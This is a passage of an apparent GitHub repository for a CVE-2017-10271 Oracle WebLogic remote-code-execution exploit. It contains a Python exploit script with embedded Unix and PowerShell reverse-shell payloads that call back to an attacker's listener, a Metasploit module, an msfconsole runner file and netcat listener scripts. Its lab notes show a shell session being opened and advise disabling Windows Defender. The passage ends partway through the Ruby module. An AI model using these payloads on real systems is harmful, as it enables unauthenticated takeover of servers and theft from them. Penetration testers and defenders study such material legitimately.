├── CVE-2017-10271.py ├── LICENSE ├── README.md ├── docker ├── Dockerfile └── README.md ├── listeners ├── nc-exploit-listener.sh ├── py2-check-listener.sh └── py3-check-listener.sh ├── msf-linux-runner.rc ├── oracle_weblog_wsat_rce.rb ├── original-poc └── original-poc.py ├── scanners ├── LICENSE ├── Makefile ├── README.md ├── bin │ ├── CVE-2017-10271.release.1.5.1.amd64.darwin │ ├── CVE-2017-10271.release.1.5.1.amd64.dragonfly │ ├── CVE-2017-10271.release.1.5.1.amd64.freebsd │ ├── CVE-2017-10271.release.1.5.1.amd64.linux │ ├── CVE-2017-10271.release.1.5.1.amd64.netbsd │ ├── CVE-2017-10271.release.1.5.1.amd64.openbsd │ ├── CVE-2017-10271.release.1.5.1.amd64.solaris │ └── CVE-2017-10271.release.1.5.1.amd64.windows.exe ├── cmd │ ├── root.go │ └── version.go ├── libcve201710271 │ ├── banner.go │ ├── config.go │ ├── payload.go │ ├── request.go │ ├── target.go │ ├── urls.go │ └── workers.go └── main.go └── vulnerable_machine_setup.md /CVE-2017-10271.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # Exploit Title: Weblogic wls-wsat Component Deserialization RCE 4 | # Date Authored: Jan 3, 2018 5 | # Date Announced: 10/19/2017 6 | # Exploit Author: Kevin Kirsche (d3c3pt10n) 7 | # Exploit Github: https://github.com/kkirsche/CVE-2017-10271 8 | # Exploit is based off of POC by Luffin from Github 9 | # https://github.com/Luffin/CVE-2017-10271 10 | # Vendor Homepage: http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html 11 | # Version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 12 | # Tested on: Oracle WebLogic 10.3.6.0.0 running on Oracle Linux 6.8 and Ubuntu 14.04.4 LTS 13 | # CVE: CVE-2017-10271 14 | # Usage: python exploit.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ 15 | # (Python 3) Example check listener: python3 -m http.server 4444 16 | # (Python 2) Example check listener: python -m SimpleHTTPServer 4444 17 | # (Netcat) Example exploit listener: nc -nlvp 4444 18 | 19 | from requests import post 20 | from argparse import ArgumentParser 21 | from random import choice 22 | from string import ascii_uppercase, ascii_lowercase, digits 23 | from typing import Literal 24 | from xml.sax.saxutils import escape 25 | 26 | class Exploit: 27 | 28 | def __init__(self, check: bool, rhost: str, lhost: str, lport: str, windows: bool) -> None: 29 | self.url = rhost.strip("/") if rhost.endswith('/') else rhost 30 | self.lhost = lhost 31 | self.lport = lport 32 | self.check = check 33 | self.target = "win" if windows else "unix" 34 | 35 | if self.target == 'unix': 36 | # Unix reverse shell 37 | # You should also be able to instead use something from MSFVenom. E.g. 38 | # msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=4444 39 | self.cmd_payload = ( 40 | "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket." 41 | "SOCK_STREAM);s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0); os.dup2(" 42 | "s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" 43 | ).format(lhost=self.lhost, lport=self.lport) 44 | else: 45 | # Windows reverse shell 46 | # Based on msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.10.10 LPORT=4444 47 | self.cmd_payload = ( 48 | r"powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) " 49 | r"{$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='" + self.lhost +"" 50 | r"';$p='"+ self.lport + "';$c=New-Object system.net.sockets.tcpclient;$c.connect($a" 51 | r",$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;" 52 | r"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';" 53 | r"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;" 54 | r"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;" 55 | r"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;" 56 | r"while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};" 57 | r"$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;" 58 | r"while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0)" 59 | r" -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;" 60 | r"if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};" 61 | r"if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if " 62 | r"($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne" 63 | r" -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e." 64 | r"GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};" 65 | ) 66 | self.cmd_payload = escape(self.cmd_payload) 67 | 68 | def cmd_base(self) -> Literal["cmd", "/bin/sh"]: 69 | return "cmd" if self.target == "win" else "/bin/sh" 70 | 71 | def cmd_opt(self) -> Literal["/c", "-c"]: 72 | return "/c" if self.target == "win" else "-c" 73 | 74 | def get_generic_check_payload(self) -> str: 75 | random_uri = ''.join( 76 | choice(ascii_uppercase + ascii_lowercase + digits) 77 | for _ in range(16)) 78 | return f''' 79 | 80 | 81 | 82 | 83 | http://{self.lhost}:{self.lport}/{random_uri} 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | ''' 94 | 95 | def get_process_builder_payload(self) -> str: 96 | return f''' 97 | 98 | 99 | 100 | 101 | 102 | 103 | {self.cmd_base()} 104 | 105 | 106 | {self.cmd_opt()} 107 | 108 | 109 | {self.cmd_payload} 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | ''' 120 | 121 | def print_banner(self) -> None: 122 | print("=" * 80) 123 | print("CVE-2017-10271 RCE Exploit") 124 | print("written by: Kevin Kirsche (d3c3pt10n)") 125 | print(f"Remote Target: {self.url}") 126 | print(f"Shell Listener: {self.lhost}:{self.lport}") 127 | print("=" * 80) 128 | 129 | def post_exploit(self, data: str) -> None: 130 | headers = { 131 | "Content-Type": 132 | "text/xml;charset=UTF-8", 133 | "User-Agent": ( 134 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 " 135 | + "(KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" 136 | ), 137 | } 138 | vulnurl = f"{self.url}/wls-wsat/CoordinatorPortType" 139 | try: 140 | _ = post( 141 | vulnurl, data=data, headers=headers, timeout=10, verify=False) 142 | if self.check: 143 | print("[*] Did you get an HTTP GET request back?") 144 | else: 145 | print("[*] Did you get a shell back?") 146 | except Exception as e: 147 | print('[!] Connection Error') 148 | print(e) 149 | 150 | def run(self) -> None: 151 | self.print_banner() 152 | if self.check: 153 | print('[+] Generating generic check payload') 154 | payload = self.get_generic_check_payload() 155 | else: 156 | print('[+] Generating execution payload') 157 | payload = self.get_process_builder_payload() 158 | print('[*] Generated:') 159 | print(payload) 160 | if self.check: 161 | print('[+] Running generic check payload') 162 | else: 163 | print(f'[+] Running {self.target} execute payload') 164 | 165 | self.post_exploit(data=payload) 166 | 167 | 168 | if __name__ == "__main__": 169 | parser = ArgumentParser( 170 | description=( 171 | "CVE-2017-10271 Oracle WebLogic Server WLS Security exploit. " 172 | + "Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, " 173 | + "12.2.1.1.0 and 12.2.1.2.0." 174 | ) 175 | ) 176 | parser.add_argument( 177 | "-l", 178 | "--lhost", 179 | required=True, 180 | dest="lhost", 181 | nargs="?", 182 | help="The listening host that the remote server should connect back to", 183 | ) 184 | parser.add_argument( 185 | "-p", 186 | "--lport", 187 | required=True, 188 | dest="lport", 189 | nargs="?", 190 | help="The listening port that the remote server should connect back to", 191 | ) 192 | parser.add_argument( 193 | "-r", 194 | "--rhost", 195 | required=True, 196 | dest="rhost", 197 | nargs="?", 198 | help="The remote host base URL that we should send the exploit to", 199 | ) 200 | parser.add_argument( 201 | "-c", 202 | "--check", 203 | dest="check", 204 | action="store_true", 205 | help=( 206 | "Execute a check using HTTP to see if the host is vulnerable. This will" 207 | + "cause the host to issue an HTTP request. This is a generic check." 208 | ), 209 | ) 210 | parser.add_argument( 211 | "-w", 212 | "--win", 213 | dest="windows", 214 | action="store_true", 215 | help="Use the windows cmd payload instead of unix payload (execute mode only).", 216 | ) 217 | 218 | args = parser.parse_args() 219 | 220 | exploit = Exploit( 221 | check=args.check, 222 | rhost=args.rhost, 223 | lhost=args.lhost, 224 | lport=args.lport, 225 | windows=args.windows, 226 | ) 227 | exploit.run() 228 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-10271 2 | 3 | Weblogic wls-wsat Component Deserialization Vulnerability (CVE-2017-10271) Detection and Exploitation Script 4 | 5 | ### Usage 6 | 7 | ```bash 8 | $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ 9 | ``` 10 | 11 | ### Features 12 | 13 | * Standalone Python script 14 | * Check functionality to see if any host is vulnerable 15 | * Exploit functionality for Linux targets 16 | * Metasploit module 17 | * Check functionality to see if any host is vulnerable 18 | * Exploit functionality for all targets 19 | * Scanner (./scanners) 20 | * Checks to see if hosts is vulnerable. Fully self-contained 21 | 22 | ## Legal Notices 23 | 24 | You are responsible for the use of this script. Kevin Kirsche takes no responsibility for any actions taken using the code here. The code was created for teams looking to validate the security of their servers, not for malicious use. 25 | 26 | ## Thanks 27 | 28 | Big thanks to Luffin for creating the original POC that this was based on https://github.com/Luffin/CVE-2017-10271 29 | 30 | ## Vulnerable URL's other than the one shown: 31 | 32 | ``` 33 | /wls-wsat/CoordinatorPortType 34 | /wls-wsat/CoordinatorPortType11 35 | /wls-wsat/ParticipantPortType 36 | /wls-wsat/ParticipantPortType11 37 | /wls-wsat/RegistrationPortTypeRPC 38 | /wls-wsat/RegistrationPortTypeRPC11 39 | /wls-wsat/RegistrationRequesterPortType 40 | /wls-wsat/RegistrationRequesterPortType11 41 | ``` 42 | 43 | ## Related Vulnerability 44 | CVE 2017-3506 45 | 46 | ## Oracle's Patch 47 | 48 | Original Source: 49 | https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/ 50 | 51 | Updated Source: 52 | https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/ 53 | 54 | ```java 55 | private void validate(InputStream is) { 56 | WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); 57 | 58 | try { 59 | SAXParser parser = factory.newSAXParser(); 60 | 61 | parser.parse(is, new DefaultHandler()) { 62 | private int overallarraylength = 0; 63 | 64 | public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception { 65 | if (qName.equalsIgnoreCase("object")) { 66 | throw new IllegalStateException("Invalid element qName:object"); 67 | } else if (qName.equalsIgnoreCase("new")) { 68 | throw new IllegalStateException("Invalid element qName:new"); 69 | } else if (qName.equalsIgnoreCase("method")) { 70 | throw new IllegalStateException("Invalid element qName:method"); 71 | } else { 72 | if (qName.equalsIgnoreCase("void")) { 73 | for(int attClass = 0;attClass < attributes.getLength(); ++attClass) { 74 | if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) { 75 | throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass)); 76 | } 77 | } 78 | } 79 | 80 | ... more code here ... 81 | } 82 | } 83 | } 84 | } 85 | } 86 | ``` 87 | -------------------------------------------------------------------------------- /docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM zhiqzhao/ubuntu_weblogic1036_domain 2 | RUN apt-get update && apt-get -y install python 3 | -------------------------------------------------------------------------------- /docker/README.md: -------------------------------------------------------------------------------- 1 | # Vulnerable Application 2 | 3 | Oracle WebLogic server versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0 with access to Web Services Atomic Transaction (WS-AT) endpoints are vulnerable to unauthenticated arbitrary command execution. 4 | 5 | ### Windows: Setting up a vulnerable application 6 | 7 | We successfully tested this exploit against a fully-patched, Windows 10 (x64) target. Since WebLogic is resource intensive, consider providing four cores and 8GB of RAM. 8 | 9 | 1. [Download](http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html) Oracle WebLogic Server 10.3.6, using the "Windows x86 with 32-bit JVM" (`wls1036_win32.exe`). 10 | 2. Run the installer. (See [here] for detailed instructions.) You may be prompted to install a Java Development Kit (JDK). [JDK 8u151 x64](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) was verified working. 11 | 3. Windows Defender will block the payload from executing, so you may need to [temporarily](https://support.microsoft.com/en-us/help/4027187/windows-turn-off-windows-defender-antivirus) or [permanently](https://www.windowscentral.com/how-permanently-disable-windows-defender-windows-10) disable it. 12 | 4. Run the configuration wizard and [create a new weblogic domain](https://docs.oracle.com/cd/E29542_01/web.1111/e14140/newdom.htm#WLDCW192). Domain names and credentials are irrelevant. At the conclusion of the wizard, click "Start Admin Server". 13 | 5. The `startWebLogic.cmd` should run immediately after the installer and present logging output. Once running, the window should output a line similar to the following 14 | ``` 15 | 16 | 17 | ``` 18 | 19 | ### Windows: Attacking a vulnerable application 20 | 21 | Attack the above Windows server using the `exploit/multi/http/oracle_weblogic_wsat_deserialization_rce`: 22 | 23 | ``` 24 | msf > use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce 25 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set RHOST [IP address of your target] 26 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set TARGET 0 27 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set PAYLOAD cmd/windows/reverse_powershell 28 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > set LHOST [IP address of your attacker] 29 | msf exploit(multi/http/oracle_weblogic_wsat_deserialization_rce) > run 30 | 31 | [*] Started reverse TCP handler on 192.168.108.1:4444 32 | [*] Command shell session 1 opened (192.168.108.1:4444 -> 192.168.108.132:50060) at 2018-01-11 11:48:16 -0600 33 | 34 | Microsoft Windows [Version 10.0.16299.192] 35 | (c) 2017 Microsoft Corporation. All rights reserved. 36 | 37 | C:\Oracle\Middleware\user_projects\domains\admindomain>whoami 38 | weblogic-server\Administrator 39 | ``` 40 | 41 | ### Unix: Setting up a vulnerable environment 42 | 43 | 1. If necessary, install Docker.io. [These instructions](https://www.ptrace-security.com/2017/06/14/how-to-install-docker-on-kali-linux-2017-1/) were tested on a Kali 2017.3 VM: 44 | 45 | ``` 46 | apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D 47 | echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list 48 | apt update 49 | apt-get install docker-engine 50 | service docker start 51 | docker run hello-world 52 | ``` 53 | 54 | 2. Install a container running Ubuntu 16.04 and WebLogic 10.3.6.0: 55 | ``` 56 | docker run -d -p7001:7001 -p80:7001 kkirsche/cve-2017-10271 57 | ``` 58 | 59 | 3. Confirm that the container is up. 60 | ``` 61 | docker ps 62 | ``` 63 | -------------------------------------------------------------------------------- /listeners/nc-exploit-listener.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "[+] Starting listener on port 4444" 4 | nc -nlvp 4444 5 | -------------------------------------------------------------------------------- /listeners/py2-check-listener.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "[+] Installing requests dependency" 4 | pip install -U requests 5 | 6 | echo "[+] Starting listener on port 4444" 7 | python -m SimpleHTTPServer 4444 8 | -------------------------------------------------------------------------------- /listeners/py3-check-listener.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "[+] Installing requests dependency" 4 | pip3 install -U requests 5 | 6 | echo "[+] Starting listener on port 4444" 7 | python3 -m http.server 4444 8 | -------------------------------------------------------------------------------- /msf-linux-runner.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce 2 | set RHOST pwned.com 3 | set TARGET 1 4 | set PAYLOAD cmd/unix/reverse_python 5 | set LHOST eth0 6 | set LPORT 4444 7 | exploit 8 | -------------------------------------------------------------------------------- /oracle_weblog_wsat_rce.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Exploit::Remote 7 | Rank = ExcellentRanking 8 | 9 | include Msf::Exploit::Remote::HttpClient 10 | # include Msf::Exploit::Remote::HttpServer 11 | 12 | def initialize(info = {}) 13 | super( 14 | update_info( 15 | info, 16 | 'Name' => 'Oracle WebLogic wls-wsat Component Deserialization RCE', 17 | 'Description' => %q( 18 | The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization 19 | remote code execution vulnerability. Supported versions that are affected are 20 | 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin 21 | of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT, 22 | HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check 23 | and will not be used when executing the exploit itself. 24 | ), 25 | 'License' => MSF_LICENSE, 26 | 'Author' => [ 27 | 'Kevin Kirsche ', # Metasploit module 28 | 'Luffin', # Proof of Concept 29 | 'Alexey Tyurin', 'Federico Dotta' # Vulnerability Discovery 30 | ], 31 | 'References' => 32 | [ 33 | ['URL', 'https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html'], # Security Bulletin 34 | ['URL', 'https://github.com/Luffin/CVE-2017-10271'], # Proof-of-Concept 35 | ['URL', 'https://github.com/kkirsche/CVE-2017-10271'], # Standalone Exploit 36 | ['CVE', '2017-10271'], 37 | ['EDB', '43458'] 38 | ], 39 | 'Platform' => %w{ win unix }, 40 | 'Arch' => [ ARCH_CMD ], 41 | 'Targets' => 42 | [ 43 | [ 'Windows Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ], 44 | [ 'Unix Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ] 45 | ], 46 | 'DisclosureDate' => "Oct 19 2017", 47 | # Note that this is by index, rather than name. It's generally easiest 48 | # just to put the default at the beginning of the list and skip this 49 | # entirely. 50 | 'DefaultTarget' => 0 51 | ) 52 | ) 53 | 54 | register_options([ 55 | OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']), 56 | OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]), 57 | OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]), 58 | # OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10]) 59 | ]) 60 | end 61 | 62 | def cmd_base 63 | if target['Platform'] == 'win' 64 | return 'cmd' 65 | else 66 | return '/bin/sh' 67 | end 68 | end 69 | 70 | def cmd_opt 71 | if target['Platform'] == 'win' 72 | return '/c' 73 | else 74 | return '-c' 75 | end 76 | end 77 | 78 | 79 | # 80 | # This generates a XML payload that will execute the desired payload on the RHOST 81 | # 82 | def exploit_process_builder_payload 83 | # Generate a payload which will execute on a *nix machine using /bin/sh 84 | xml = %Q{ 85 | 86 | 87 | 88 | 89 | 90 | 91 | #{cmd_base} 92 | 93 | 94 | #{cmd_opt} 95 | 96 | 97 | #{payload.encoded.encode(xml: :text)} 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | } 107 | end 108 | 109 | # 110 | # This builds a XML payload that will generate a HTTP GET request to our SRVHOST 111 | # from the target machine. 112 | # 113 | def check_process_builder_payload 114 | xml = %Q{ 115 | 116 | 117 | 118 | 119 | #{get_uri.encode(xml: :text)} 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | } 129 | end 130 | 131 | # 132 | # In the event that a 'check' host responds, we should respond randomly so that we don't clog up 133 | # the logs too much with a no response error or similar. 134 | # 135 | def on_request_uri(cli, request) 136 | random_content = '

'+Rex::Text.rand_text_alphanumeric(20)+'

' 137 | send_response(cli, random_content) 138 | 139 | @received_request = true 140 | end 141 | 142 | # 143 | # The exploit method connects to the remote service and sends a randomly generated string 144 | # encapsulated within a SOAP XML body. This will start an HTTP server for us to receive 145 | # the response from. This is based off of the exploit technique from 146 | # exploits/windows/novell/netiq_pum_eval.rb 147 | # 148 | # This doesn't work as is because MSF cannot mix HttpServer and HttpClient 149 | # at the time of authoring this 150 | # 151 | # def check 152 | # start_service 153 | # 154 | # print_status('Sending the check payload...') 155 | # res = send_request_cgi({ 156 | # 'method' => 'POST', 157 | # 'uri' => normalize_uri(target_uri.path), 158 | # 'data' => check_process_builder_payload, 159 | # 'ctype' => 'text/xml;charset=UTF-8' 160 | # }, datastore['TIMEOUT']) 161 | # 162 | # print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...") 163 | # 164 | # waited = 0 165 | # until @received_request 166 | # sleep 1 167 | # waited += 1 168 | # if waited > datastore['HTTP_DELAY'] 169 | # stop_service 170 | # return Exploit::CheckCode::Safe 171 | # end 172 | # end 173 | # 174 | # stop_service 175 | # return Exploit::CheckCode::Vulnerable 176 | # end 177 | 178 | # 179 | # The exploit method connects to the remote service and sends the specified payload 180 | # encapsulated within a SOAP XML body. 181 | # 182 | def 